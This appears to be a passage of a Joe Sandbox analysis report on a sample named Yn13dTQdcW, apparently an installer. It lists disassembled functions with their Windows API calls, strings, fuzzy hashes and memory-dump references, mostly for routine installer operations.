Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(00000000), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Section: "%s", xrefs: 004050A5
Skipping section: "%s", xrefs: 004050E1

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00429574,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.1656046190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1656024097.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656081785.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.0000000000439000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656100143.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1656392922.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yn13dTQdcW.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
